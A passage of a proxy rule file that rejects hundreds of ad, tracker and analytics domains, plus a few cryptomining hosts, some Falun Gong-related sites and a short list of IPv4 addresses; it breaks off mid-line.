d.39.net, reject +host-suffix, dpvc.39.net, reject +host-suffix, thetestpage.39.net, reject +host-suffix, c1.4qx.net, reject +host-suffix, tc.51la.net, reject +host-suffix, b1.51scw.net, reject +host-suffix, c.51y5.net, reject +host-suffix, cds.51y5.net, reject +host-suffix, ios-dc.51y5.net, reject +host-suffix, news.51y5.net, reject +host-suffix, news-img.51y5.net, reject +host-suffix, news-log.51y5.net, reject +host-suffix, push-dc.51y5.net, reject +host-suffix, wifiapi01.51y5.net, reject +host-suffix, wifiapi02.51y5.net, reject +host-suffix, msg.push.51y5.net, reject +host-suffix, c2.58toto.net, reject +host-suffix, cp.5jjx.net, reject +host-suffix, s.5jjx.net, reject +host-suffix, cc.700ok.net, reject +host-suffix, 3g.990.net, reject +host-suffix, b.9dreams.net, reject +host-suffix, t.adcrops.net, reject +host-suffix, px.adhigh.net, reject +host-suffix, tags2.adshell.net, reject +host-suffix, freexxxvideoclip.aebn.net, reject +host-suffix, appnext-a.akamaihd.net, reject +host-suffix, lbstatic-a.akamaihd.net, reject +host-suffix, toots-a.akamaihd.net, reject +host-suffix, bmp.ali213.net, reject +host-suffix, bmp1.ali213.net, reject +host-suffix, web.ali213.net, reject +host-suffix, ajnad.aljazeera.net, reject +host-suffix, box.anchorfree.net, reject +host-suffix, rpt.anchorfree.net, reject +host-suffix, jc.anhuilitian.net, reject +host-suffix, c.anmeilai.net, reject +host-suffix, e.anmeilai.net, reject +host-suffix, m.anmeilai.net, reject +host-suffix, rcp.c.appier.net, reject +host, track.aso1.net, reject +host-suffix, my1fc.m.b5200.net, reject +host-suffix, my1fimg.m.b5200.net, reject +host-suffix, tactics.bainv.net, reject +host-suffix, update.bainv.net, reject +host-suffix, bd-js.baixing.net, reject +host-suffix, bd-s.baixing.net, reject +host-suffix, script-bd.baixing.net, reject +host-suffix, a.baiy.net, reject +host-suffix, b.baiy.net, reject +host-suffix, config.baofeng.net, reject +host-suffix, houyi.baofeng.net, reject +host-suffix, listlog.baofeng.net, reject +host-suffix, loading.baofeng5.baofeng.net, reject +host-suffix, onlinetips.baofeng5.baofeng.net, reject +host-suffix, app.houyi.baofeng.net, reject +host-suffix, ck.houyi.baofeng.net, reject +host-suffix, corner.houyi.baofeng.net, reject +host-suffix, d3f.houyi.baofeng.net, reject +host-suffix, mid.houyi.baofeng.net, reject +host-suffix, parser.houyi.baofeng.net, reject +host-suffix, wbwl.houyi.baofeng.net, reject +host-suffix, web.houyi.baofeng.net, reject +host-suffix, wl.houyi.baofeng.net, reject +host-suffix, wx.houyi.baofeng.net, reject +host-suffix, xs.houyi.baofeng.net, reject +host-suffix, nclog.mars.baofeng.net, reject +host-suffix, clicklog.moviebox.baofeng.net, reject +host-suffix, pvlog.moviebox.baofeng.net, reject +host-suffix, rec.moviebox.baofeng.net, reject +host-suffix, nclog.pad.baofeng.net, reject +host-suffix, jfm4.pop.baofeng.net, reject +host-suffix, red.bayimg.net, reject +host-suffix, a.benshiw.net, reject +host-suffix, x.bidswitch.net, reject +host-suffix, ad0.bigmir.net, reject +host-suffix, ad1.bigmir.net, reject +host-suffix, ad4.bigmir.net, reject +host-suffix, ad5.bigmir.net, reject +host-suffix, ad6.bigmir.net, reject +host-suffix, ad7.bigmir.net, reject +host-suffix, adi.bigmir.net, reject +host-suffix, c.bigmir.net, reject +host-suffix, i.bigmir.net, reject +host-suffix, f1.bizhiku.net, reject +host-suffix, ad.bjmama.net, reject +host-suffix, as.bjmama.net, reject +host-suffix, e.bokanedu.net, reject +host-suffix, m.bokanedu.net, reject +host-suffix, flurry.cachefly.net, reject +host-suffix, srv.carbonads.net, reject +host-suffix, x.castanet.net, reject +host-suffix, ba.ccm2.net, reject +host-suffix, a.cdngeek.net, reject +host-suffix, dm.chalook.net, reject +host-suffix, qw2v.changshuohr.net, reject +host-suffix, ping.chartbeat.net, reject +host-suffix, api.adv.ott.cibntv.net, reject +host-suffix, adinf.cp11.ott.cibntv.net, reject +host-suffix, adstat.cp11.ott.cibntv.net, reject +host-suffix, apklog.cp11.ott.cibntv.net, reject +host-suffix, cachenotice.cp11.ott.cibntv.net, reject +host-suffix, ark.cp21.ott.cibntv.net, reject +host-suffix, dc.cp21.ott.cibntv.net, reject +host-suffix, atm.cp31.ott.cibntv.net, reject +host-suffix, ipm.atm.cp31.ott.cibntv.net, reject +host-suffix, val.atm.cp31.ott.cibntv.net, reject +host-suffix, valf.atm.cp31.ott.cibntv.net, reject +host-suffix, aty.cp45.ott.cibntv.net, reject +host-suffix, agn.aty.cp45.ott.cibntv.net, reject +host-suffix, m.aty.cp45.ott.cibntv.net, reject +host-suffix, mmg.aty.cp45.ott.cibntv.net, reject +host-suffix, de.as.cp61.ott.cibntv.net, reject +host-suffix, lives.l.cp81.ott.cibntv.net, reject +host-suffix, news-l.play.cp81.ott.cibntv.net, reject +host-suffix, d10lumateci472.cloudfront.net, reject +host-suffix, d1grtyyel8f1mh.cloudfront.net, reject +host-suffix, d1zgderxoe1a.cloudfront.net, reject +host-suffix, d227cncaprzd7y.cloudfront.net, reject +host-suffix, d29qt51jeyi6xb.cloudfront.net, reject +host-suffix, d2qkpebv23oowx.cloudfront.net, reject +host-suffix, d31qbv1cthcecs.cloudfront.net, reject +host-suffix, d36eyd5j1kt1m6.cloudfront.net, reject +host-suffix, d3v1lb83psg9di.cloudfront.net, reject +host-suffix, d5nxst8fruw4z.cloudfront.net, reject +host-suffix, i.l.cnn.net, reject +host-suffix, adi.cnool.net, reject +host-suffix, adi2007.cnool.net, reject +host-suffix, adp.cnool.net, reject +host-suffix, adp1.cnool.net, reject +host-suffix, ida.cnool.net, reject +host-suffix, t.cnsjx.net, reject +host-suffix, push.com2us.net, reject +host-suffix, s.com2us.net, reject +host-suffix, widgets.comcontent.net, reject +host-suffix, pxl.connexity.net, reject +host-suffix, adimg.cqnews.net, reject +host-suffix, phpad.cqnews.net, reject +host-suffix, sync.crwdcntrl.net, reject +host-suffix, ad.csdn.net, reject +host-suffix, counter.csdn.net, reject +host-suffix, dc.csdn.net, reject +host-suffix, dc2.csdn.net, reject +host-suffix, medal.blog.csdn.net, reject +host-suffix, ci.csefaazc.net, reject +host-suffix, uniondm.cz88.net, reject +host-suffix, ad.daum.net, reject +host-suffix, display.ad.daum.net, reject +host-suffix, track.tiara.daum.net, reject +host-suffix, live.tvpot.daum.net, reject +host-suffix, adimg.daumcdn.net, reject +host-suffix, m1.daumcdn.net, reject +host-suffix, s.de123.net, reject +host-suffix, dpm.demdex.net, reject +host-suffix, adimg.deviantart.net, reject +host-suffix, api.dewmobile.net, reject +host-suffix, downloada.dewmobile.net, reject +host-suffix, downloadb.dewmobile.net, reject +host-suffix, daima.diaoben.net, reject +host-suffix, adss.dotdo.net, reject +host-suffix, adclick.g.doublecklick.net, reject +host-suffix, eland.doublemax.net, reject +host-suffix, s.dpcq1.net, reject +host-suffix, add.dz19.net, reject +host-suffix, p.ecwan77.net, reject +host-suffix, m.ee-vip.net, reject +host-suffix, c.effectivemeasure.net, reject +host-suffix, hk-cdn.effectivemeasure.net, reject +host-suffix, me-cdn.effectivemeasure.net, reject +host-suffix, s.effectivemeasure.net, reject +host-suffix, sg-cdn.effectivemeasure.net, reject +host-suffix, www9.effectivemeasure.net, reject +host-suffix, qiye11.ejunshi.net, reject +host-suffix, x.eroticity.net, reject +host-suffix, bigboy.eurogamer.net, reject +host-suffix, sync-tm.everesttech.net, reject +host-suffix, squarespace.evyy.net, reject +host-suffix, cdn.fastclick.net, reject +host-suffix, code.fastclick.net, reject +host-suffix, images.fastclick.net, reject +host-suffix, media.fastclick.net, reject +host-suffix, secure.fastclick.net, reject +host-suffix, sp.fastclick.net, reject +host-suffix, sync.fastclick.net, reject +host-suffix, adv.fjtv.net, reject +host-suffix, image.fsyule.net, reject +host-suffix, creatives1.ftimg.net, reject +host-suffix, dolphin.ftimg.net, reject +host-suffix, dolphin4.ftimg.net, reject +host-suffix, rt.funshion.net, reject +host-suffix, ox.furaffinity.net, reject +host-suffix, gmota.g188.net, reject +host-suffix, m.gameyun907.net, reject +host-suffix, clk.gentags.net, reject +host-suffix, cmpp.gentags.net, reject +host-suffix, imp.gentags.net, reject +host-suffix, pagechoicemotu.gentags.net, reject +host-suffix, pmptrack-autohome.gentags.net, reject +host-suffix, pmptrack-letv.gentags.net, reject +host-suffix, pmptrack-yidianzixunxm.gentags.net, reject +host-suffix, pmptrack-youku.gentags.net, reject +host-suffix, sit.gentags.net, reject +host-suffix, v-sence.gentags.net, reject +host-suffix, ad.greedland.net, reject +host-suffix, ad1.greedland.net, reject +host-suffix, xzq.greenxf.net, reject +host-suffix, 01.gxso.net, reject +host-suffix, bdd.hainan.net, reject +host-suffix, bds.hainan.net, reject +host-suffix, i.hao61.net, reject +host-suffix, e.harbinbaojia.net, reject +host-suffix, m.harbinbaojia.net, reject +host-suffix, stream.heavenmedia.net, reject +host-suffix, p8u.hinet.net, reject +host-suffix, vatrack.hinet.net, reject +host-suffix, adasad.myweb.hinet.net, reject +host-suffix, blogad01.myweb.hinet.net, reject +host-suffix, blogad02.myweb.hinet.net, reject +host-suffix, hiad.myweb.hinet.net, reject +host-suffix, e.hk7799.net, reject +host-suffix, m.hk7799.net, reject +host-suffix, i.huilixieye.net, reject +host-suffix, mob.huimee.net, reject +host-suffix, daima.huoche.net, reject +host-suffix, col.hztags.net, reject +host-suffix, ad.idgtn.net, reject +host-suffix, dl.img80.net, reject +host-suffix, cdn.innity.net, reject +host-suffix, cdn.media.innity.net, reject +host-suffix, ssl-cdn.media.innity.net, reject +host-suffix, a.itiexue.net, reject +host-suffix, jph.itiexue.net, reject +host-suffix, 888.izhufu.net, reject +host-suffix, ad.jamba.net, reject +host-suffix, plz.jandan.net, reject +host-suffix, bdjs.jb51.net, reject +host-suffix, dm.jb51.net, reject +host-suffix, 1.jeasyui.net, reject +host-suffix, dm50.jkyd.net, reject +host-suffix, cp.jz5u.net, reject +host-suffix, panda.kdnet.net, reject +host-suffix, super.kdnet.net, reject +host-suffix, as.kejet.net, reject +host-suffix, aw.kejet.net, reject +host-suffix, ck.kejet.net, reject +host-suffix, cmarket.kejet.net, reject +host-suffix, dmacore.kejet.net, reject +host-suffix, dmp.kejet.net, reject +host-suffix, ec.kejet.net, reject +host-suffix, hzdmacore.kejet.net, reject +host-suffix, m.kejet.net, reject +host-suffix, rtb-p.kejet.net, reject +host-suffix, kas.keydot.net, reject +host-suffix, s5.keydot.net, reject +host-suffix, ww202.keyyou.net, reject +host-suffix, ba.kioskea.net, reject +host-suffix, sd.kk3g.net, reject +host-suffix, c.kl6636.net, reject +host-suffix, e.kl6636.net, reject +host-suffix, m.kl6636.net, reject +host-suffix, beacon.krxd.net, reject +host-suffix, cdn.krxd.net, reject +host-suffix, ups.ksmobile.net, reject +host-suffix, ws.ksmobile.net, reject +host-suffix, vi1.ku6img.net, reject +host-suffix, vi2.ku6img.net, reject +host-suffix, rotabanner.kulichki.net, reject +host-suffix, m.laigame7.net, reject +host-suffix, down.laomaotao.net, reject +host-suffix, ad.leadbolt.net, reject +host-suffix, api.leadbolt.net, reject +host-suffix, ad.leadboltads.net, reject +host-suffix, ad.leadboltapps.net, reject +host-suffix, ad.leadboltmobile.net, reject +host-suffix, appnext.hs.llnwd.net, reject +host-suffix, admeta.vo.llnwd.net, reject +host-suffix, inskin.vo.llnwd.net, reject +host-suffix, backup.lumion3d.net, reject +host-suffix, license.lumion3d.net, reject +host-suffix, ad.mangareader.net, reject +host-suffix, dd.mangofortune.net, reject +host-suffix, zhuuv.maoyumao.net, reject +host-suffix, munchkin.marketo.net, reject +host-suffix, ad.mediabong.net, reject +host-suffix, jingdian230.meilika.net, reject +host-suffix, img.meipic.net, reject +host-suffix, ma1.meishij.net, reject +host-suffix, ma2.meishij.net, reject +host-suffix, c.mightiger.net, reject +host-suffix, e.mightiger.net, reject +host-suffix, m.mightiger.net, reject +host-suffix, d.mingyihui.net, reject +host-suffix, jskrnekewe.mofans.net, reject +host-suffix, ads1.msads.net, reject +host-suffix, ads2.msads.net, reject +host-suffix, global.msads.net, reject +host-suffix, a.global.msads.net, reject +host-suffix, js.mumayi.net, reject +host-suffix, rbp.mxptint.net, reject +host-suffix, rbp.emea.mxptint.net, reject +host-suffix, r.myadx.net, reject +host-suffix, adres.myaora.net, reject +host-suffix, ytapi1.nagezan.net, reject +host-suffix, 1.nanrenwo.net, reject +host-suffix, 2.nanrenwo.net, reject +host-suffix, adimg3.search.naver.net, reject +host-suffix, pic.neiyicun.net, reject +host-suffix, ad1.nend.net, reject +host-suffix, ad2.nend.net, reject +host-suffix, img1.nend.net, reject +host-suffix, js1.nend.net, reject +host-suffix, output.nend.net, reject +host-suffix, ad1.netshelter.net, reject +host-suffix, util.nphoto.net, reject +host-suffix, bam.nr-data.net, reject +host-suffix, asv.nuggad.net, reject +host-suffix, ag.nukefans.net, reject +host-suffix, ig.nukefans.net, reject +host-suffix, zzcw.office-mall.net, reject +host-suffix, g.ousns.net, reject +host-suffix, g2.ousns.net, reject +host-suffix, events-api.outfit7.net, reject +host-suffix, px.owneriq.net, reject +host-suffix, ad1.p5w.net, reject +host-suffix, col.pagechoice.net, reject +host-suffix, dap.pagechoice.net, reject +host-suffix, images.pagechoice.net, reject +host-suffix, motu.pagechoice.net, reject +host-suffix, sit.pagechoice.net, reject +host-suffix, 1.panduoduo.net, reject +host-suffix, js.paochala.net, reject +host-suffix, btn.pchome.net, reject +host-suffix, js-1.pchome.net, reject +host-suffix, pf.pchome.net, reject +host-suffix, pf-2.pchome.net, reject +host-suffix, init.phpwind.net, reject +host-suffix, ad.pickple.net, reject +host-suffix, rum-collector.pingdom.net, reject +host-suffix, rum-static.pingdom.net, reject +host-suffix, ad.pixnet.net, reject +host-suffix, c1.popads.net, reject +host-suffix, c2.popads.net, reject +host-suffix, serve.popads.net, reject +host-suffix, cdn.popcash.net, reject +host-suffix, api.primecaster.net, reject +host-suffix, c.ptffw.net, reject +host-suffix, e.qingzhencai.net, reject +host-suffix, m.qingzhencai.net, reject +host-suffix, zeus.qj.net, reject +host-suffix, rad.reporo.net, reject +host-suffix, js.revsci.net, reject +host-suffix, pd7-imp.revsci.net, reject +host-suffix, pix04.revsci.net, reject +host-suffix, wpc.32df9.rhocdn.net, reject +host-suffix, api.rideraid.net, reject +host-suffix, v.rmbn.net, reject +host-suffix, match.rtbidder.net, reject +host-suffix, tw13b093.sandai.net, reject +host-suffix, xlmc.sandai.net, reject +host-suffix, cpm.cm.sandai.net, reject +host-suffix, master.wap.dphub.sandai.net, reject +host-suffix, idx.m.hub.sandai.net, reject +host-suffix, liveupdate.mac.sandai.net, reject +host-suffix, hub5pn.wap.sandai.net, reject +host-suffix, etl.xlmc.sandai.net, reject +host-suffix, test.api.xlmc.sandai.net, reject +host-suffix, pre.api.tw06.xlmc.sandai.net, reject +host-suffix, dm.sanwen.net, reject +host-suffix, js.sanwen.net, reject +host-suffix, 518.sdinfo.net, reject +host-suffix, b17.shangc.net, reject +host-suffix, j17.shangc.net, reject +host-suffix, aec.shjk123.net, reject +host-suffix, a.shuoshuodaquan.net, reject +host-suffix, s3.pfp.sina.net, reject +host-suffix, as.sinahk.net, reject +host-suffix, ad.sinovision.net, reject +host-suffix, adsys.sinovision.net, reject +host-suffix, award.sitekeuring.net, reject +host-suffix, oas.skyscanner.net, reject +host-suffix, ad.smartclip.net, reject +host-suffix, selfie.snapmobileasia.net, reject +host-suffix, pclog.suishenyun.net, reject +host-suffix, display.superbay.net, reject +host-suffix, apk.supfast.net, reject +host-suffix, apps.supfast.net, reject +host-suffix, img.supfast.net, reject +host-suffix, l.supfast.net, reject +host-suffix, 09_19.supfree.net, reject +host-suffix, p.szonline.net, reject +host-suffix, ad7.tagphi.net, reject +host-suffix, gaandroid.talkingdata.net, reject +host-suffix, tdcv3.talkingdata.net, reject +host-suffix, u.talkingdata.net, reject +host-suffix, st.targetix.net, reject +host-suffix, sync.teamrtb.net, reject +host-suffix, e.tiantianedu.net, reject +host-suffix, m.tiantianedu.net, reject +host-suffix, m.tiaopimiao.net, reject +host-suffix, rotator.tradetracker.net, reject +host-suffix, ti.tradetracker.net, reject +host-suffix, media.trafficjunky.net, reject +host-suffix, vz-cdn.trafficjunky.net, reject +host-suffix, a.ucoz.net, reject +host-suffix, adclient.uimserv.net, reject +host-suffix, adimg.uimserv.net, reject +host-suffix, fips.uimserv.net, reject +host-suffix, s.uuidksinc.net, reject +host-suffix, t.uvcourse.net, reject +host-suffix, t2.vbxx.net, reject +host-suffix, rtas.videocc.net, reject +host-suffix, c.vip97.net, reject +host-suffix, syndication1.viraladnetwork.net, reject +host, delivery-node-aziz.voe-network.net, reject +host-suffix, cti.w55c.net, reject +host-suffix, i.w55c.net, reject +host-suffix, ads.weilitoutiao.net, reject +host-suffix, e.weixingshexiangji.net, reject +host-suffix, m.weixingshexiangji.net, reject +host-suffix, ad.r.worldssl.net, reject +host-suffix, union1.xiaojianjian.net, reject +host-suffix, lxcdn.dl.files.xiaomi.net, reject +host-suffix, pdc.micloud.xiaomi.net, reject +host-suffix, migrate.driveapi.micloud.xiaomi.net, reject +host-suffix, resolver.msg.xiaomi.net, reject +host-suffix, mlog.search.xiaomi.net, reject +host-suffix, down.xiazaiyuan.net, reject +host-suffix, adimgs.xici.net, reject +host-suffix, a.xinwenge.net, reject +host-suffix, e.xlsschina15.net, reject +host-suffix, m.xlsschina15.net, reject +host-suffix, nop.xpanama.net, reject +host-suffix, w.homes.yahoo.net, reject +host-suffix, st.yandexadexchange.net, reject +host-suffix, e.yangjingbang.net, reject +host-suffix, m.yangjingbang.net, reject +host-suffix, ir.mail.yeah.net, reject +host-suffix, e.yidulive.net, reject +host-suffix, ad.yieldlab.net, reject +host-suffix, yoo.yiiyoo.net, reject +host-suffix, siqwqjza.m.yikanxiaoshuo.net, reject +host-suffix, p.ynjczy.net, reject +host-suffix, au.youmi.net, reject +host-suffix, notifiter.youmi.net, reject +host-suffix, r.youmi.net, reject +host-suffix, s.youmi.net, reject +host-suffix, t.youmi.net, reject +host-suffix, aos.wall.youmi.net, reject +host-suffix, jt.yunxiufang.net, reject +host-suffix, cdn.zampda.net, reject +host-suffix, adm.zbinfo.net, reject +host-suffix, xiaoshuo.zhandao.net, reject +host-suffix, a1.zhanzhang.net, reject +host-suffix, cloud.zyiis.net, reject +host-suffix, audience.network, reject +host-suffix, data.apn.co.nz, reject +host-suffix, geoshopping.nzherald.co.nz, reject +host-suffix, adlink.shopsafe.co.nz, reject +host-suffix, clotfun.online, reject +host-suffix, customer-security.online, reject +host-suffix, deletemer.online, reject +host-suffix, qweewq2021.online, reject +host-suffix, wazero.online, reject +host-suffix, 50bang.org, reject +host-suffix, 5dian.org, reject +host-suffix, adsensor.org, reject +host-suffix, adsrvr.org, reject +host-suffix, ajaxcdn.org, reject +host-suffix, amiok.org, reject +host-suffix, anquan.org, reject +host-suffix, boxercrazy.org, reject +host-suffix, dafahao.org, reject +host-suffix, dajiyuan.org, reject +host-suffix, do-not-tracker.org, reject +host-suffix, falundata.org, reject +host-suffix, gdsqwy.org, reject +host-suffix, go2cloud.org, reject +host-suffix, ketchapp.org, reject +host-suffix, lajizhan.org, reject +host-suffix, ppoi.org, reject +host-suffix, punchbox.org, reject +host-suffix, rutrk.org, reject +host-suffix, shenyun.org, reject +host-suffix, trackersimulator.org, reject +host-suffix, vtale.org, reject +host-suffix, a.80982.org, reject +host-suffix, oascentral.hosted.ap.org, reject +host-suffix, advertise.baicizhan.org, reject +host-keyword, tosv.byted.org, reject +host-keyword, tosv.boe.byted.org, reject +host-suffix, desk.cmix.org, reject +host-suffix, img.dawenxue.org, reject +host-suffix, lm.dawenxue.org, reject +host-suffix, pp2.dhzw.org, reject +host-suffix, qd.dhzw.org, reject +host-suffix, m.du1du.org, reject +host-suffix, tw.fgmtv.org, reject +host-suffix, m.fhxsw.org, reject +host-suffix, bai3.gushiwen.org, reject +host-suffix, looky.hyves.org, reject +host-suffix, life.imagepix.org, reject +host-suffix, img1.jintang114.org, reject +host-suffix, jrpt.jrptweb.org, reject +host-suffix, eee.kj78.org, reject +host-suffix, admin.louxia.org, reject +host-suffix, ads2.opensubtitles.org, reject +host-suffix, gg86.pinggu.org, reject +host-suffix, api.ppoi.org, reject +host-suffix, img1.pszyzxh.org, reject +host-suffix, atm.punchbox.org, reject +host-suffix, pic.punchbox.org, reject +host-suffix, uapi.punchbox.org, reject +host-suffix, w.punchbox.org, reject +host-suffix, switching.atm.punchbox.org, reject +host-suffix, en.shenyun.org, reject +host-suffix, zh-cn.shenyun.org, reject +host-suffix, a.m.shuhuangge.org, reject +host-suffix, baxf.m.shuhuangge.org, reject +host-suffix, ow.s1.shuhuangge.org, reject +host-suffix, ow.s2.shuhuangge.org, reject +host-suffix, api.userstyles.org, reject +host-suffix, dm.ws8.org, reject +host-suffix, c.xianguonongchang.org, reject +host-suffix, c.xznykf.org, reject +host-suffix, sina.yinstar.org, reject +host-suffix, bizanti.youwatch.org, reject +host-suffix, hejban.youwatch.org, reject +host-suffix, nest.youwatch.org, reject +host-suffix, c.zmjuan.org, reject +host-suffix, c.zxyywdj.org, reject +host-suffix, adx.kat.ph, reject +host-suffix, xn--2qux23c9ziyrq.plus, reject +host-suffix, cilidaquan.pw, reject +host-suffix, aswl.d3kdh34.pw, reject +host-suffix, aswl.dfs3e4.pw, reject +host-suffix, adsco.re, reject +host-suffix, weixinvip.ren, reject +host-suffix, shzyjbr.wtdtjs.rocks, reject +host-suffix, adriver.ru, reject +host-suffix, advombat.ru, reject +host-suffix, betsonsport.ru, reject +host-suffix, dumedia.ru, reject +host-suffix, recreativ.ru, reject +host-suffix, sape.ru, reject +host-suffix, tns-counter.ru, reject +host-suffix, winlinebet.ru, reject +host-suffix, yadro.ru, reject +host-suffix, yandex.ru, reject +host-suffix, ad.3dnews.ru, reject +host-suffix, rtb.com.ru, reject +host-suffix, dmg.digitaltarget.ru, reject +host-suffix, tag.digitaltarget.ru, reject +host-suffix, ad.dumedia.ru, reject +host-suffix, runetki.joyreactor.ru, reject +host-suffix, ad.mail.ru, reject +host-suffix, sync.morgdm.ru, reject +host-suffix, r.radikal.ru, reject +host-suffix, ad.rambler.ru, reject +host-suffix, sync.rambler.ru, reject +host-suffix, profile.ssp.rambler.ru, reject +host-suffix, adlabs-sync.rutarget.ru, reject +host-suffix, adriver-sync.rutarget.ru, reject +host-suffix, cdn-rtb.sape.ru, reject +host-suffix, dispenser-rtb.sape.ru, reject +host-suffix, ssp-rtb.sape.ru, reject +host-suffix, pixel.vihub.ru, reject +host-suffix, ad.xmovies8.ru, reject +host-suffix, counter.yadro.ru, reject +host-suffix, mg.yadro.ru, reject +host-suffix, an.yandex.ru, reject +host-suffix, mc.yandex.ru, reject +host-suffix, mc.yandex.ru, reject +host-suffix, spb.bid.run, reject +host-suffix, adrotator.se, reject +host-suffix, ingest.sentry, reject +host-suffix, coin-hive-proxy-ybydcnjgkl.now.sh, reject +host-suffix, party-nngvitbizn.now.sh, reject +host-suffix, ad.proxy.sh, reject +host-suffix, z.clickvip.shop, reject +host-suffix, e.zhuyuanp.shop, reject +host-suffix, m.zhuyuanp.shop, reject +host-suffix, beeho.site, reject +host-suffix, qqq123987.site, reject +host-suffix, qqq123987.site, reject +host-suffix, ker.pic2pic.site, reject +host-suffix, adv.bandi.so, reject +host-suffix, asd.projectfreetv.so, reject +host-suffix, ad.spielothek.so, reject +host-suffix, kawa11.space, reject +host-suffix, 777.000123456789.space, reject +host-suffix, inoprosport.su, reject +host-suffix, adtarget.tech, reject +host-suffix, we.tm, reject +host-suffix, a.kickass.to, reject +host-suffix, content.streamplay.to, reject +host-suffix, dacash.streamplay.to, reject +host-suffix, eacash.streamplay.to, reject +host-suffix, x.vipergirls.to, reject +host-suffix, app.abc000.today, reject +host-suffix, 138138138.top, reject +host-suffix, 813690.top, reject +host-suffix, akuai.top, reject +host-suffix, b99u.top, reject +host-suffix, bigbos.top, reject +host-suffix, d24ak3f2b.top, reject +host-suffix, dandan11.top, reject +host-suffix, dandan13.top, reject +host-suffix, dandan15.top, reject +host-suffix, gz00005.top, reject +host-suffix, heib10.top, reject +host-suffix, heib12.top, reject +host-suffix, jkjjkj.top, reject +host-suffix, nkeo.top, reject +host-suffix, powergg.top, reject +host-suffix, regulationprivilegescan.top, reject +host-suffix, sangxi.top, reject +host-suffix, ioc.mmakd.top, reject +host-suffix, j.qijijs.top, reject +host-suffix, p.qijijs.top, reject +host-suffix, p.saozhu1.top, reject +host-suffix, iutr.uozwys.top, reject +host-suffix, e.zhuyuanp.top, reject +host-suffix, m.zhuyuanp.top, reject +host-suffix, x.zhuyuanp.top, reject +host-suffix, add.bugun.com.tr, reject +host-suffix, adap.tv, reject +host-suffix, lansha.tv, reject +host-suffix, publicidad.tv, reject +host-suffix, yoyi.tv, reject +host-suffix, agn.aty.snmsohu.aisee.tv, reject +host-suffix, m.aty.snmsohu.aisee.tv, reject +host-suffix, mmg.aty.snmsohu.aisee.tv, reject +host-suffix, ja.chushou.tv, reject +host-suffix, sync.extend.tv, reject +host-suffix, pb.bi.gitv.tv, reject +host-suffix, msg.ptqy.gitv.tv, reject +host-suffix, msga.ptqy.gitv.tv, reject +host-suffix, store.ptqy.gitv.tv, reject +host-suffix, mixer.cupid.ptqy.gitv.tv, reject +host-suffix, t7z.cupid.ptqy.gitv.tv, reject +host-suffix, nl.rcd.ptqy.gitv.tv, reject +host-suffix, daima.ijq.tv, reject +host-suffix, renren2.maoyun.tv, reject +host-suffix, c.netu.tv, reject +host-suffix, ad.pandora.tv, reject +host-suffix, game.pps.tv, reject +host-suffix, fan.twitch.tv, reject +host-suffix, spade.twitch.tv, reject +host-suffix, adsystem.wasu.tv, reject +host-suffix, adwasu.wasu.tv, reject +host-suffix, d.yoyi.tv, reject +host-suffix, js.yoyi.tv, reject +host-suffix, g.d.yoyi.tv, reject +host-suffix, t.d.yoyi.tv, reject +host-suffix, js1.zuocai.tv, reject +host-suffix, adbot.tw, reject +host-suffix, plmkolp.m.58xs.tw, reject +host-suffix, dotmore.com.tw, reject +host-suffix, hotrank.com.tw, reject +host-suffix, pic.adver.com.tw, reject +host-suffix, ad.digitimes.com.tw, reject +host-suffix, flv.dotmore.com.tw, reject +host-suffix, pic.dotmore.com.tw, reject +host-suffix, ad.gametower.com.tw, reject +host-suffix, drd.hauchi.com.tw, reject +host-suffix, ysm.hauchi.com.tw, reject +host-suffix, h01.hotrank.com.tw, reject +host-suffix, ad.pchome.com.tw, reject +host-suffix, adcl.pchome.com.tw, reject +host-suffix, itad.linetv.tw, reject +host-suffix, ad.obuy.tw, reject +host-suffix, h.holder.com.ua, reject +host-suffix, k2team.kyiv.ua, reject +host-suffix, match.c8.net.ua, reject +host-suffix, ff.nsg.org.ua, reject +host-suffix, wowanalytics.co.uk, reject +host-suffix, jsc.adskeeper.co.uk, reject +host-suffix, servicer.adskeeper.co.uk, reject +host-suffix, oas.autotrader.co.uk, reject +host-suffix, rack.bauermedia.co.uk, reject +host-suffix, visualscience.external.bbc.co.uk, reject +host-suffix, oasc07.citywire.co.uk, reject +host-suffix, cnetwidget.creativemark.co.uk, reject +host-suffix, mads.dailymail.co.uk, reject +host-suffix, ad.jamster.co.uk, reject +host-suffix, fe.lea.lycos.co.uk, reject +host-suffix, hit.webcentre.lycos.co.uk, reject +host-suffix, network.sofeminine.co.uk, reject +host-suffix, londonprivaterentals.standard.co.uk, reject +host-suffix, connect.summit.co.uk, reject +host-suffix, creatives.summitconnect.co.uk, reject +host-suffix, wtpn.twenga.co.uk, reject +host-suffix, partners.vouchedfor.co.uk, reject +host-suffix, localnetwork.uop, reject +host-suffix, amung.us, reject +host-suffix, sitetag.us, reject +host-suffix, wole.us, reject +host-suffix, widgets.amung.us, reject +host-suffix, www.avple.video, reject +host-suffix, 58lm.vip, reject +host-suffix, xj40666.vip, reject +host-suffix, oikxlcv.wang, reject +host-suffix, xhtd.99hg.wang, reject +host-suffix, 0x01e7.website, reject +host-suffix, brakefluid.website, reject +host-suffix, adserve.work, reject +host-suffix, material.mtty.xin, reject +host-suffix, mtty-cdn.mtty.xin, reject +host-suffix, xn--xhq9mt12cf5v.xn--io0a7i, reject +host-suffix, xn--xhq9mt12cf5v.xn--io0a7i, reject +host-suffix, sss.sege.xxx, reject +host-suffix, ayabreya.xyz, reject +host-suffix, ddmax20.xyz, reject +host-suffix, gotourl.xyz, reject +host-suffix, okjhb.xyz, reject +host-suffix, xiaohuau.xyz, reject +host-suffix, base.filedot.xyz, reject +host-suffix, go.gogolm.xyz, reject +host-suffix, go.gotourl.xyz, reject +host-suffix, cdn.hivps.xyz, reject +host-suffix, ip.hivps.xyz, reject +host-suffix, ad.pornimg.xyz, reject +host-suffix, t.supermario.xyz, reject +host-suffix, yumcs.xiaohuau.xyz, reject +host-suffix, banner.itweb.co.za, reject +host-suffix, banners.itweb.co.za, reject +host-suffix, xn--3bs795g.zone, reject + +# IPV4 addresses +IP-CIDR, 117.177.248.17/32, reject +IP-CIDR, 117.177.248.41/32, reject +IP-CIDR, 223.87.176.139/32, reject +IP-CIDR, 223.87.176.176/32, reject +IP-CIDR, 223.87.177.180/32, reject +IP-CIDR, 223.87.177.182/32, reject +IP-CIDR, 223.87.177.184/32, reject +IP-CIDR, 223.87.177.43/32, reject +IP-CIDR, 223.87.177.47/32, reject +IP-CIDR, 223.87.177.80/32, reject +IP-CIDR, 223.87.182.101/32, reject +IP-CIDR, 223.87.182.102/32, reject +IP-CIDR, 223.87.182.11/32, reject +IP-CIDR, 223.87.182.52/32, reject +IP-CIDR, 1.3.0.10/32, reject +IP-CIDR, 101.201.29.182/32, reject +IP-CIDR, 101.251.211.235/32, 